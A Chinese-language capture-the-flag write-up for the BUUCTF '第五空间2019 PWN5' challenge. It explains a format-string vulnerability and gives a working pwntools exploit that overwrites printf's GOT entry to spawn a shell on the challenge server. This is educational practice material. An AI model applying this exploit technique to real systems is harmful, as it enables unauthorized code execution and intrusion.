BUUCTF 第五空间PWN5

Eutopia's Blog

Posted by Eutopia on October 23, 2023

第五空间2019 决赛PWN5

考点

  • 格式化字符串漏洞

解题过程

  1. 首先使用checksec工具查看基本信息

checksec

​ 为32位,canary,dep防护

  1. 使用ida工具进行静态分析。

main

main

​ main函数主要代码如上图所示,可以看见print((int)v7)存在格式化字符串输出漏洞,因此可以考虑进行利用(注:由于输入read限制了输入长度,导致无法通过泄漏canary方法来进行栈溢出攻击。

  1. 构造python脚本如下,主要思路为修改printf的got表plt地址为要执行的代码地址(若开启full relro则无法使用),然后再代码执行到下一次调用printf函数时会转去执行目标代码。获得shell。
from pwn import *

context(arch="i386", log_level="debug")
# p = process("./pwn")
p = remote("node4.buuoj.cn", 29338)

elf = ELF("./pwn")
printf_got = elf.got["printf"]
info(printf_got)
vuln_1 = str(0x0804)
vuln_2 = str(0x931A-0x0804)

payload = flat(b'%', vuln_1, b'c',b'%17$hn', b'%', vuln_2, b'c', b'%18$hn')
payload = payload.ljust(28, b'\x00')
payload = flat(payload, printf_got+2, printf_got)
# gdb.attach(p, 'b *0x080492BC')
p.sendlineafter(b'your name:', payload)
p.recvuntil(b"Hello,")

p.interactive()

结果

result